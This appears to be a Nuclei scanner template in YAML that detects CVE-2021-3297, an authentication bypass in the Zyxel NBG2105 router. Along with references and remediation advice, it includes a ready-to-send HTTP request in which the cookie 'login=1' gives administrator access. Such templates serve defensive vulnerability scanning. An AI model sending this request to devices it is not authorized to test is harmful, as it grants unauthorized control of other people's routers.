48 lines
1.7 KiB
YAML
48 lines
1.7 KiB
YAML
id: CVE-2021-3297
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info:
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name: Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass
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author: gy741
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severity: high
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description: Zyxel NBG2105 V1.00(AAGU.2)C0 devices are susceptible to authentication bypass vulnerabilities because setting the login cookie to 1 provides administrator access.
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remediation: |
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Apply the latest firmware update provided by Zyxel to fix the authentication bypass vulnerability.
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reference:
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- https://github.com/nieldk/vulnerabilities/blob/main/zyxel%20nbg2105/Admin%20bypass
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- https://www.zyxel.com/us/en/support/security_advisories.shtml
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- https://www.zyxel.com/support/SupportLandingSR.shtml?c=gb&l=en&kbid=M-01490&md=NBG2105
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- https://nvd.nist.gov/vuln/detail/CVE-2021-3297
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classification:
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cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.8
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cve-id: CVE-2021-3297
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cwe-id: CWE-287
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epss-score: 0.18886
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epss-percentile: 0.95656
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cpe: cpe:2.3:o:zyxel:nbg2105_firmware:v1.00\(aagu.2\)c0:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: zyxel
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product: nbg2105_firmware
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tags: cve,cve2021,zyxel,auth-bypass,router
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http:
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- raw:
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- |
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GET /status.htm HTTP/1.1
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Host: {{Hostname}}
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Cookie: language=en; login=1
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matchers-condition: and
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matchers:
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- type: word
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words:
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- "Running Time"
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- "Firmware Version"
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- "Firmware Build Time"
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condition: and
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- type: status
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status:
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- 200
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# digest: 490a004630440220578ac08c63d2e5d5545e60c4d1932cc953b1888fa7675eae234dedb7a656124e02201c626e0ef43616d53fa4fb4bed8b926bad778eb3123c70f26fb45bb543ce00bd:922c64590222798bb761d5b6d8e72950 |